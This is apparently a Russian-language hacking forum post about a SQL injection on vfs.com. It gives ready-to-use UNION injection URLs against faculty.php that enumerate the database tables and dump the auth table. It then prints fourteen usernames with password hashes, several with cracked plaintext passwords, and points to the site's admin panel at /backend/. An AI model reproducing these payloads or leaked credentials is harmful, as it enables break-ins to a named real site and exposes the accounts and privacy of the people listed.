Ахалай махалай рахат лукум sql-inj на
vfs.com =)
собсно найдена она была давно... и на ней уже успел "поработать" какой-то сеошник =(
красивый вывод всех таблиц...
Код:
http://www.vfs.com/faculty.php?id=-1+union+select+1,concat(table_name),3+from+information_schema.tables/*
Код:
http://www.vfs.com/faculty.php?id=-1+union+select+1,concat(auth_username,0x3a,auth_password),3+from+vfscom_db.auth_tbl/*
stephen:261972f4500fa75a //пароль:eezy4u:
ccalnan:28f639a5162ecbb9
jderry:17fc2e8f0148bb35 //пароль:beb78e:
beata:0b097aa7659f8502
bbains:261972f4500fa75a //пароль:eezy4u:
studentservices:41acaf8f60411fc0
jennica:314f01b446e888ba
olambert:5a4e3a8648b173d6
mediateam:261972f4500fa75a //пароль:eezy4u:
lhenderson:261972f4500fa75a //пароль:eezy4u:
jbringsli:264f74d364088dd0
jmorris:61f5620c5a2c7c05
wtsang:659bab5b180b310c
Код:
http://www.vfs.com/robots.txt
User-agent: *
Disallow: /webtv/
Disallow: /webtv.php
Disallow: /index_down.html
Disallow: /htmlemail/
Disallow: /webs/
Disallow:
/backend/ //админка
также там есть вордресс...